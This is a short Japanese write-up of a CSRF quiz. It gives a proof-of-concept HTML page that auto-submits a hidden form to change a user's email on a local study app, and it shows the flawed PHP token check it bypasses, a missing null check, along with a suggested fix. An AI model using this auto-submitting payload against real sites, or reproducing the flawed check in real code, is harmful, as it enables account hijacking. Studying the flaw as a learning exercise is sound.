某所でCSRF対策のバグに関するクイズが公開されていたので、腕試しに解いてみました。
以下が自分のPOCです。
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/CSRF-study/chgmail.php" method="POST">
<input type="hidden" name="mail" value="you-are-hacked@foo.com">
</form>
</body>
<!-- chgmail.php のトークンの確認方法だとトークンなしでPOSTした場合 NULL === NULL となりCSRFのチェックをすり抜ける -->
</html>
ユーザーがmypage.phpを閲覧した状態で上記のコードが記述されたページにアクセスすると、メールアドレスが"you-are-hacked@foo.com"に変更されます。
題材となっているアプリケーションはマイページのmypage.php、メールアドレス変更フォームのchgmailform.php、そして chgmailform.phpの入力内容をもとにメールアドレスを変更するプログラムのchgmail.phpという構成になっています。
chgmailform.phpでワンタイムトークンを生成してメールアドレスと一緒にPOSTし、chgmail.phpでワンタイムトークンの確認をしています。以下が該当のコード部分です。
if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}
chgmail.phpではワンタイムトークンの確認をする際、ワンタイムトークンがNULLかどうかのチェックをしていません。(演算子 !== の意味は「$a が $b と等しくないか、同じ型でない場合に TRUE」) そのためトークンなしでPOSTした場合 NULL === NULL となりCSRFのチェックをすり抜けます。
対策としては上記のif文の前にempty($_SESSION['token'])を挿入してワンタイムトークンの有無を確認し、トークンがNULLだったらエラーとして処理を終了させる、というので大丈夫かな。
以上